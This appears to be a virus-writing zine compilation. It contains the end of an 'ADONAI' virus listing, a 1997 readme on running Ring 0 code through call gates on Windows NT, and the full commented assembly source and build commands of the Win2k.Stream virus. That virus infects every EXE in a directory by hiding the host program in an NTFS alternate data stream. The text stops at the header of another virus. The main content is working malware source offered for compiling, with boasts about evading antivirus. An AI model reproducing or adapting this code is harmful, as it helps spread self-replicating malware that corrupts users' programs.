DB 06CH,06CH,06FH,063H,061H,074H,065H,047H,064H,074H,053H,065H,06CH,065H,063H
DB 074H,06FH,072H,073H,000H,000H,0D5H,000H,049H,06FH,044H,065H,06CH,065H,074H
DB 065H,044H,065H,076H,069H,063H,065H,000H,000H,0D1H,000H,049H,06FH,043H,072H
DB 065H,061H,074H,065H,053H,079H,06DH,062H,06FH,06CH,069H,063H,04CH,069H,06EH
DB 06BH,000H,000H,068H,002H,052H,074H,06CH,049H,06EH,069H,074H,055H,06EH,069H
DB 063H,06FH,064H,065H,053H,074H,072H,069H,06EH,067H,000H,000H,0CEH,000H,049H
DB 06FH,043H,072H,065H,061H,074H,065H,044H,065H,076H,069H,063H,065H,000H,000H
DB 016H,001H,049H,06FH,066H,043H,06FH,06DH,070H,06CH,065H,074H,065H,052H,065H
DB 071H,075H,065H,073H,074H,000H,000H,0D6H,000H,049H,06FH,044H,065H,06CH,065H
DB 074H,065H,053H,079H,06DH,062H,06FH,06CH,069H,063H,04CH,069H,06EH,06BH,000H
DB 000H,06EH,074H,06FH,073H,06BH,072H,06EH,06CH,02EH,065H,078H,065H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,088H,000H,000H,000H,07BH,032H,085H,032H,093H,032H,0B6H
DB 032H,0C1H,032H,0DFH,032H,0EAH,032H,0F2H,032H,0FAH,032H,002H,033H,00BH,033H
DB 012H,033H,019H,033H,020H,033H,026H,033H,02CH,033H,033H,033H,041H,033H,048H
DB 033H,04FH,033H,058H,033H,05FH,033H,068H,033H,070H,033H,075H,033H,07BH,033H
DB 085H,033H,08BH,033H,096H,033H,09DH,033H,0A5H,033H,0AEH,033H,0C0H,033H,0CFH
DB 033H,0D6H,033H,0E7H,033H,0FBH,033H,02CH,034H,038H,034H,059H,034H,06DH,034H
DB 07AH,034H,094H,034H,0B0H,034H,0C4H,034H,0D2H,034H,0DDH,034H,0EAH,034H,0F9H
DB 034H,00DH,035H,04CH,035H,05BH,035H,06AH,035H,088H,035H,0A6H,035H,0C8H,035H
DB 0DCH,035H,0F7H,035H,00CH,036H,016H,036H,022H,036H,027H,036H,03EH,036H,044H
DB 036H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,001H,000H,000H
DB 000H,010H,001H,000H,000H,000H,000H,007H,000H,063H,061H,06CH,06CH,067H,061H
DB 074H,065H,02EH,044H,042H,047H,000H,038H,036H,05CH,066H,072H,065H,065H,05CH
DB 063H,061H,06CH,06CH,067H,061H,074H,065H,02EH,073H,079H,073H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,074H
DB 002H,000H,000H,032H,000H,000H,000H,000H,000H,000H,000H,001H,000H,005H,001H
DB 01CH,005H,000H,000H,0CDH,000H,000H,000H,000H,000H,000H,000H,002H,000H,00AH
DB 014H

copyrisgt DB '/// ADONAI VIRUS '

MACROSIZE

DB ' CODED BY HenKy IN SPAIN \\\',0

align 4

FILE_END LABEL BYTE


APIaddresses:

CreateFile DD 0
CloseHandle DD 0
FindFirstFile DD 0
FindNextFile DD 0
ReadFile DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CreateFileMappingA DD 0
LoadLibraryA DD 0
FreeLibraryA DD 0
WriteFileA DD 0
DeleteFileA DD 0

GPA DD 0
SearcHandle DD 0
FileHandle DD 0
NewSize DD 0
MapHandle DD 0
MapAddress DD 0
BYTES DD 0

FILETIME STRUC

FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?

FILETIME ENDS
Win32FindData:

WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
FNAME DB MAX_PATH DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 03 DUP (?)
DB 0100h dup (0)

align 4

MEM_END LABEL BYTE

EXITPROC:

PUSH 0
CALL ExitProcess

ENDS
END MEGAMIX
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ADONAI.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CALLGATE.TXT]ÄÄÄ
Run any Ring 0 code from a WIN32 application on Windows NT
-----------------------------------------------------------

Copyright (C) 1997 Prasad Dabak & Sandeep Phadke & Milind Borate

Background
----------

Callgate is a mechanism of controlled ring transfers (privilege


level transfers) on INTEL processors. There are ways to implement
callgate mechanism under Windows 3.1 and Windows 95. Refer to
MSDN articles 'Run Privileged Code from Your Windows-based Programs
Using Call Gates' by Matt Pietrek (MSJ May 1993) for Win3.1 implementation.
Refer to PHYS program in Matt Pietrek's excellent "Windows 95 System
Programming Secrets". We are providing here an equivalent mechanism
under Windows NT 3.51 and 4.0. We provide the reader with an API,
driver and a DLL to directly try out this mechanism.

This is the best known mechanism to execute privileged instructions


WITHOUT having to write a NT kernel mode device driver. You can directly
link with our general purpose DLL and execute Ring 0 code.

Implementation
--------------

There are a lot of undocumented functions in the core NT component


NTOSKRNL.EXE. Using some of these functions we have provided a
mechanism for creating callgates under Windows NT. The implementation
consists of a kernel mode device driver CALLGATE.SYS and a wrapper
DLL CALLGATE.DLL. Using the functions from CALLGATE.DLL, one can
create a callgate and execute any Ring 0 code from a WIN32 application.

The prototypes for the functions exported by CALLGATE.DLL are


given in GATE.H header file. We have provided a sample application
which uses this DLL to create callgate and get the contents of the
CPU control registers like CR0, CR2, CR3 from a WIN32 application.
It also demonstrates how direct port I/O can be done using this trick.
The sample program provided, beeps by outputting data on the sound port.

The function which is called through a callgate is written in


assembly language, since the standard 32-bit compiler does not generate
the stack frame required for such a function. The function called
through a callgate is called by a far call. Therefore the parameters
to the functions starts from ESP+8. The standard 32-bit compiler
generates the code which expects the parameters to start from
ESP+4. Also in this case, you have to make a far return, whereas
standard 32-bit compiler generates a near return instruction.
You can find the details about this in Matt Pietrek's
excellent book, "Windows 95 System Programming Secrets", Chapter 5,
page numbers 301, 302 (Cool stuff in the PHYS program).

Note that CALLGATE.SYS and CALLGATE.DLL have to be present in the


same directory as that of the application using CALLGATE.DLL, since
CALLGATE.DLL forms the complete path of the driver by getting the
current directory of the application.

The source code for CALLGATE.DLL and CALLGATE.SYS will be presented


in our forthcoming book "Undocumented Windows NT" by O'Reilly
Associates.

*****NOTE: You have to extremely cautious when writing the function


which is to be called through a callgate. A small mistake can
easily crash your NT machine. We are NOT responsible for any
data loss caused due to the use of this trick.*********

Using sample program


--------------------

1. Copy CALLGATE.ZIP on to your local drive in some directory.


2. Unzip the file using 'PKUNZIP -d CALLGATE.ZIP'
3. Change to Release directory.
4. Run cgateapp.exe which will display the contents of CR0, CR2, CR3
registers and beeps by doing direct port I/O to the sound device.

Compiling the source code


-------------------------

We have provided the source code for a sample application which


uses the CALLGATE.DLL API for creating callgates. The source code
is compiled using MSVC 4.0. The function called through callgate
is present in RING0.ASM file. The RING0.ASM is assembled using
ML.EXE from NT DDK.

How to Contact us
-----------------

Prasad : pdabak@cyberspace.org
Sandeep : sandeep@giaspn01.vsnl.net.in
Milind : milind@cyberspace.org
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CALLGATE.TXT]ÄÄÄ
COMMENT#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Win2k.Stream ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A and Ratter ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Let us introduce very small and simple infector presenting how to use features
of NTFS in viruses. This virus loox like standard Petite-compressed PE file.
However, it presents the newest way of PE file infecting method.

How the virus worx? It uses streamz, the newest feature of NTFS filesystem
and file compression, already implemented in old NTFS fs.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Basic principles of NTFS streamz ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

How the file loox? Ya know that the file contains exactly the same what you can
see when you will open it (e.g. in WinCommander). NTFS, implemented by
Windows 2000, has new feature - the file can be divided to streamz. The content
what you can see when you will open the file is called Primary stream - usually
files haven't more than one stream. However, you can create NEW stream ( = new
content) in already existing file without overwritting the content.

Example:

addressing of primary stream -> <filename> e.g. "calc.exe"


addressing of other streamz -> <filename>:<stream name> e.g. "calc.exe:stream"

If you have NTFS, you can test it. Copy to NTFS for instance "calc.exe", and
then create new file "calc.exe:stream" and write there "blahblah". Open
"calc.exe". Whats there? Calculator ofcoz. Now open "calc.exe:stream". Whats
there? "blahblah", the new file in the old one :)

Can you imagine how useful r streamz for virus coding?

The virus infects file by moving the old content to the new stream and replacing
the primary stream with virus code.

File (calc.exe) before infection:

ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄPrimary stream (visible part)Ä¿º
º³ Calculator ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

File (calc.exe) after infection:

ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄPrimary stream (calc.exe)Ä¿ÚÄNext stream (calc.exe:STR)Ä¿ º
º³ Virus ³³ Calculator ³ º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Simple and efficent, ain't it?


ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Details of virus ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

* The virus infects all EXE files in actual directory.

* The virus uses as already-infected mark file compression. All infected


files are compressed by NTFS and virus then does not infect already
compressed files. Well, almost all files after infection r smaller than
before, so user won't recognize virus by checking free disk space :)

* If user will copy the infected file to non-NTFS partition (in this case
only primary stream is copied), the host program will be destroyed and
instead of running host program virus will show message box. That can
be also called as payload :P

* The virus is very small, exactly 3628 bytes, becoz it's compressed by
Petite 2.1 PE compression utility (http://www.icl.ndirect.co.uk/petite/).

* The disinfection is very easy - just copy the content of <file>:STR to


<file> and delete <file>:STR. If you want to create sample of infected
file, then just copy the virus to some file and copy any program (host
program) to <file>:STR. Thats all! However, AVerz have to rebuild their
search engine to remove this virus, becoz until now, they had no fucking
idea what are streamz :)

* This virus was coded in Czech Republic by Benny/29A and Ratter, on our
common VX meeting at Ratter's city... we just coded it to show that
Windows 2000 is just another OS designed for viruses... it really is :)

* We would like to thank GriYo for pointing us to NTFS new features.


The fame is also yourz, friend!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ In the media ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

AVP's description:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

This is the first known Windows virus using the "stream companion" infection
method. That method is based on an NTFS feature that allows to create multiple
data streams associated with a file.

*NTFS Streams*
---------------

Each file contains at least one default data stream that is accessed just by
the file name. Each file may also contain additional stream(s) that can be
accessed by their personal names (filename:streamname).

The default file stream is the file body itself (in pre-NTFS terms). For
instance, when an EXE file is executed the program is read from the default
file stream; when a document is opened, its content is also read from the
default stream.

Additional file streams may contain any data. The streams cannot be accessed or
modified without reference to the file. When the file is deleted, its streams
are deleted as well; if the file is renamed, the streams follow its new name.

In the Windows package there is no standard tool to view/edit file streams. To


"manually" view file streams you need to use special utilities, for instance
the FAR utility with the file steams support plug-in (Ctrl-PgDn displays file
streams for selected file).

*Virus Details*
----------------

The virus itself is a Windows application (PE EXE file) compressed using the
Petite PE EXE file compressor and is about 4K in size. When run it infects all
EXE files in the current directory and then returns control to the host file.
If any error occurs, the virus displays the message:

Win2k.Stream by Benny/29A & Ratter


This cell has been infected by [Win2k.Stream] virus!

While infecting a file the virus creates a new stream associated with the victim
file. That stream has the name "STR", i.e. the complete stream name is
"FileName:STR". The virus then moves the victim file body to the STR stream
(default stream, see above) and then overwrites the victim file body (default
stream) with its (virus) code.

As a result, when an infected file is executed Windows reads the default stream
(which is overwritten by virus code) and executes it. Also, Windows reports the
same file size for all infected files - that is the virus length.

To release control to the host program the virus just creates a new process by
accessing the original file program using the name "FileName:STR".

That infection method should work on any NTFS system, but the virus checks the
system version and runs only under Win2000.

AVP's press release:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

*A New Generation of Windows 2000 Viruses is Streaming Towards PC Users*


------------------------------------------------------------------------

Moscow, Russia, September 4, 2000 – Kaspersky Lab announces the discovery of


W2K.Stream virus, which represents a new generation of malicious programs for
Windows 2000. This virus uses a new breakthrough technology based on the
"Stream Companion" method for self-embedding into the NTFS file system.

The virus originates from the Czech Republic and was created at the end of
August by the hackers going by the pseudonyms of Benny and Ratter. To date,
Kaspersky Lab has not registered any infections resulting from this virus;
however, its working capacity and ability for existence "in-the-wild" are
unchallenged.

"Certainly, this virus begins a new era in computer virus creation," said
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab. "The ’Stream
Companion’ technology the virus uses to plant itself into files makes its
detection and disinfection extremely difficult to complete.”

Unlike previously known methods of file infection (adding the virus body at
beginning, ending or any other part of a host file), the "Stream" virus
exploits the NTFS file system (Windows NT/2000) feature, which allows multiple
data streams. For instance, in Windows 95/98 (FAT) files, there is only one
data stream – the program code itself. Windows NT/2000 (NTFS) enables users
to create any number of data streams within the file: independent executable
program modules, as well as various service streams (file access rights,
encryption data, processing time etc.). This makes NTFS files very flexible,
allowing for the creation of user-defined data streams aimed at completing
specific tasks.

"Stream" is the first known virus that uses the feature of creating multiple
data streams for infecting files of the NTFS file system (see picture 1). To
complete this, the virus creates an additional data stream named "STR" and
moves the original content of the host program there. Then, it replaces the
main data stream with the virus code. As a result, when the infected program
is run, the virus takes control, completes the replicating procedure and then
passes control to the host program.

*"Stream" file infection procedure*


------------------------------------

File before infection File after infection

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°° virus body°°°°°³
³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³
³°°°°°°°°°°°°°°°°°°°³ ³°°°program body°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
³±±service streams±±³ ³±±service streams±±³
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

"By default, anti-virus programs check only the main data stream. There will be
no problems protecting users from this particular virus," Eugene Kaspersky
continues. "However, the viruses can move to additional data streams. In this
case, many anti-virus products will become obsolete, and their vendors will be
forced to urgently redesign their anti-virus engines."

In MSNBC's news:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

*New trick can hide computer viruses*


*But experts question danger posed by ‘Stream’ technology*
-----------------------------------------------------------

Sept. 6 — A new kind of computer virus has been released, but security experts
are in disagreement over just how menacing it is. The virus demonstrates a
technique that future writers can use to hide their malicious software from
most current antivirus scanners. But some antivirus companies are playing down
the threat.

THE VIRUS, CALLED W2K.STREAM, poses little threat — it was written as a


relatively benign “proof of concept.” But, according to a source who requested
anonymity, it was posted on several virus writer Web sites over Labor Day
weekend — making copycats possible.

The virus takes advantage of a little-used feature included in Windows 2000 and
older Windows NT systems that allows programs to be split into pieces called
streams. Generally, the body of a program resides in the main stream. But other
streams can be created to store information related to what’s in the main
stream. Joel Scambray, author of “Hacking Exposed,” described these additional
streams as “Post-it notes” attached to the main file.
The problem is that antivirus programs only examine the main stream. W2K.Stream
demonstrates a programmer’s ability to create an additional stream and hide
malicious code there.

“Certainly, this virus begins a new era in computer virus creation,” said
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab, in a press
release. “The ‘Stream Companion’ technology the virus uses to plant itself into
files makes its detection and disinfection extremely difficult to complete.”

*THIS BUG ISN’T DANGEROUS*


---------------------------

No W2K.stream infections have been reported, and experts don’t believe the
virus is “in the wild” — circulating on the Internet — yet. At any rate, this
virus actually makes things easy for antivirus companies. If a user is
infected, the program creates an alternate stream and places the legitimate
file in this alternate location; the virus replaces it as the main stream. That
makes detection by current antivirus products easy. But future viruses could
do just the opposite, evading current antivirus products.

One antivirus researcher who requested anonymity called release of the bug
“somewhat akin to the first macro virus.” He added that reengineering antivirus
software to scan for multiple streams would be a complicated effort.
“In this case, many anti-virus products will become obsolete, and their vendors
will be forced to urgently redesign their anti-virus engines,” Kaspersky said.

*AN OLD ISSUE*


---------------

There is nothing new about the potential of exploiting the multiple stream
issue; Scambray hints at the problem in the book “Hacking Exposed,” and
described it even more explicitly in a 1998 Infoworld.com article.

The SANS Institute, a group of security researchers, issued an “alert”


criticizing antivirus companies for not updating their products to scan the
contents of any file stream earlier.

“We found that the scanners were incapable of identifying viruses stored within
an alternate data stream,” the report said. “For example if you create the file
MyResume.doc:ILOVEYOU.vbs and store the contents of the I Love You virus within
the alternate data stream file, none of the tested virus scanners were capable
of finding the virus during a complete disk scan.”

But some antivirus companies described the threat as minimal because the
alternate stream trick only hides the bug while it’s stored on a victim’s
computer. Pirkka Palomaki, Director of Product Marketing for F-Secure Corp.,
said for the virus to actually run, it has to come out of hiding and load into
main memory.

“It would be detected as it tried to activate,” Palomaki said. “But this


signifies importance of real-time protection.” He added the virus would still
have to find its way onto a victim’s computer; and that victim would have to
be tricked into installing the virus using one of the traditional methods,
such as clicking on an infected e-mail attachment.

“It could increase the ability to for scanners to miss something,” said Pat
Nolan, virus researcher at McAfee Corp. “But we’re on top of it. If there is
a vulnerability, it will be short-lived.”

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ How to compile it? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Use Petite version 2.1 (http://www.icl.ndirect.co.uk/petite/).

tasm32 /ml /m9 /q stream


tlink32 -Tpe -c -x -aa stream,,,import32
pewrsec stream.exe
petite -9 -e2 -v1 -p1 -y -b0 -r* stream.exe

And here comes the virus source...


#

.586p
.model flat,stdcall

include win32api.inc ;include filez


include useful.inc

extrn ExitProcess:PROC ;used APIz


extrn VirtualFree:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn WinExec:PROC
extrn GetCommandLineA:PROC
extrn GetModuleFileNameA:PROC
extrn DeleteFileA:PROC
extrn ReadFile:PROC
extrn CopyFileA:PROC
extrn WriteFile:PROC
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn MessageBoxA:PROC
extrn GetFileSize:PROC
extrn VirtualAlloc:PROC
extrn DeviceIoControl:PROC
extrn GetFileAttributesA:PROC
extrn GetTempFileNameA:PROC
extrn CreateProcessA:PROC
extrn GetVersion:PROC

FSCTL_SET_COMPRESSION equ 9 shl 16 or 3 shl 14 or 16 shl 2

;compression flag
STARTUPINFO STRUCT ;used by CreateProcessA API
cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ENDS
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS

@pushvar macro variable, empty ;macro for pushing variablez


local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm

.data

extExe db '*.exe',0 ;search mask

fHandle dd ? ;file search handle


file_name db MAX_PATH dup(?) ;actual program name
db MAX_PATH dup(?)
file_name2 db MAX_PATH dup(?) ;temprorary file
db 4 dup (?)
WFD WIN32_FIND_DATA ? ;win32 find data
proc_info PROCESS_INFORMATION <> ;used by CreateProcessA
startup_info STARTUPINFO <> ;...
.code
Start: ;start of virus
call GetVersion ;get OS version
cmp al,5 ;5 = Win2000
jnz msgBox ;quit if not Win2000

mov edi,offset file_name


push MAX_PATH
push edi
push 0
call GetModuleFileNameA ;get path+filename of actual
;program
push offset WFD
push offset extExe
call FindFirstFileA ;find first file to infect
test eax,eax
jz end_host
mov [fHandle],eax ;save handle

search_loop:
call infect ;try to infect file

push offset WFD


push dword ptr [fHandle]
call FindNextFileA ;try to find next file
test eax,eax
jne search_loop ;and infect it

push dword ptr [fHandle]


call FindClose ;close file search handle

end_host:
mov esi,offset file_name ;get our filename
push esi
@endsz
dec esi
mov edi,esi
mov eax,"RTS:" ;append there :"STR" stream
stosd ;name
pop esi

call GetCommandLineA ;get command line


xchg eax,edi ;to EDI

;esi - app name


;edi - cmd line
xor eax,eax
push offset proc_info
push offset startup_info
push eax
push eax
push eax
push eax
push eax
push eax
push edi
push esi
call CreateProcessA ;jump to host code
xchg eax,ecx
jecxz msgBox ;if error, show message box

end_app:
push 0
call ExitProcess ;exit

msgBox: push 1000h ;show some lame msg box :)


@pushsz "Win2k.Stream by Benny/29A & Ratter" ;copyleft :]
@pushsz "This cell has been infected by [Win2k.Stream] virus!"
push 0 ;with name of virus and authorz
call MessageBoxA
jmp end_app

infect: push offset [WFD.WFD_szFileName]


call GetFileAttributesA ;check if the file is NTFS
test eax,800h ;compressed = already infected
jz next_infect
ret ;quit then

next_infect:
push offset [WFD.WFD_szFileName]
mov byte ptr [flagz],OPEN_EXISTING
call Create_File ;open found program
jz infect_end

xor eax,eax
push eax
@pushvar <dd ?>
push eax
push eax
push 4
@pushvar <dd 1> ;default compression
push FSCTL_SET_COMPRESSION
push ebx ;NTFS compress it =
call DeviceIoControl ;mark as already infected
; = and save disk space :)
push ebx
call CloseHandle ;close file handle

mov esi,offset file_name2


push esi
push 0
@pushsz "str"
@pushsz "."
call GetTempFileNameA ;create name for temp file
test eax,eax
jz infect_end

mov edi,offset [WFD.WFD_szFileName]


push 0
push esi
push edi
call CopyFileA ;copy there victim program
test eax,eax
jz infect_end

push 0
push edi
push offset file_name
call CopyFileA ;copy ourself to victim program

push esi

mov esi,edi
@endsz
xchg esi,edi
dec edi
mov eax,"RTS:" ;append :"STR" stream to
stosd ;victim program filename
xor al,al
stosb

call Create_File ;open victim file


jz infect_end

push 0
push ebx
call GetFileSize ;get its size
xchg eax,edi

push PAGE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push edi
push 0
call VirtualAlloc ;allocate enough memory
test eax,eax ;for file content
jz infect_end_handle

xchg eax,esi
xor eax,eax
push eax
@pushvar <file_size dd ?>
push edi
push esi
push ebx
call ReadFile ;read file content to
test eax,eax ;allocated memory
jz infect_end_handle

push ebx
call CloseHandle ;close its file handle

push offset file_name2


call DeleteFileA ;delete temporary file

mov byte ptr [flagz],CREATE_ALWAYS


push offset [WFD.WFD_szFileName]
call Create_File ;open stream
jz infect_end_dealloc

push 0
mov ecx,offset file_size
push ecx
push dword ptr [ecx]
push esi
push ebx
call WriteFile ;write there victim program
test eax,eax
jz infect_end_handle

infect_end_handle:
push ebx
call CloseHandle ;close its file handle
infect_end_dealloc:
push MEM_DECOMMIT
push dword ptr [file_size]
push esi
call VirtualFree ;free allocated memory
push MEM_RELEASE
push 0
push esi
call VirtualFree ;release reserved part of mem
infect_end:
ret

; [esp+4] - file_name
Create_File: ;proc for opening file
xor eax,eax
push eax
push eax
db 6ah
flagz db OPEN_EXISTING ;variable file open flag
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push dword ptr [esp+1ch]
call CreateFileA ;open file
xchg eax,ebx ;handle to EBX
inc ebx ;is EBX -1?
lahf ;store flags
dec ebx ;correct EBX
sahf ;restore flags
retn 4 ;quit from proc

end Start ;end of virus


;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; 99 Ways To Die ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . It could seem like a remake of Win32.RainSong. But i feel it's a
; quite new virus. I ever try to re-use some 'well coded' piezes of
; code, so this virus has little parts of RainSong, AOC, ...
; . I hope you'll find it interesting, even if you've seen my previous
; viruses yet due it infects dinamic link libraries and executables.
; . The name this time is due a kewl song by Megadeth. 99 Ways to die!
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
